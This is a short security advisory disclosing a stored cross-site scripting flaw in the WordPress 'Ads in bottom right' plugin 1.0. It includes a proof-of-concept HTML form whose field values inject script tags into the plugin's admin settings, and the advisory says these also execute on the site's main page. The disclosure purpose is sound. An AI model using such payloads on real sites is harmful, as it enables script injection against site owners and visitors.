WordPress Ads In Bottom Right 1.0 Cross Site Scripting

`Title: WordPress 'Ads in bottom right' Plugin   
Version: 1.0  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-16  
Download:   
- https://wordpress.org/plugins/ads-in-bottom-right/  
- https://plugins.svn.wordpress.org/ads-in-bottom-right/  
Notified Vendor/WordPress: 2015-06-21  
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## Plugin description  
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This plugin allow you show advertising in bottom right, you can put images, flash or any html code which you want.  
  
## Vulnerabilities  
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Plugin settings vulnerable to XSS attacks.  
  
PoC:  
Log in as admin and submit the following form:  
  
<form method="POST" action="[URL]/wp-admin/options-general.php?page=ads-in-bottom-right.php">   
<input type="text" name="status_submit" value="2"><br />  
<input type="text" name="ads_title" value='"><script>alert(1)</script>'><br />  
<input type="text" name="html_code" value="</textarea><script>alert(2)</script>"><br />  
<input type="text" name="submit" value="Save setting"><br />  
  
<input type="submit">  
</form>  
  
After doing this the injected script will also be executed when loading the main page.   
  
  
## Solution  
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No fix available  
  
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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
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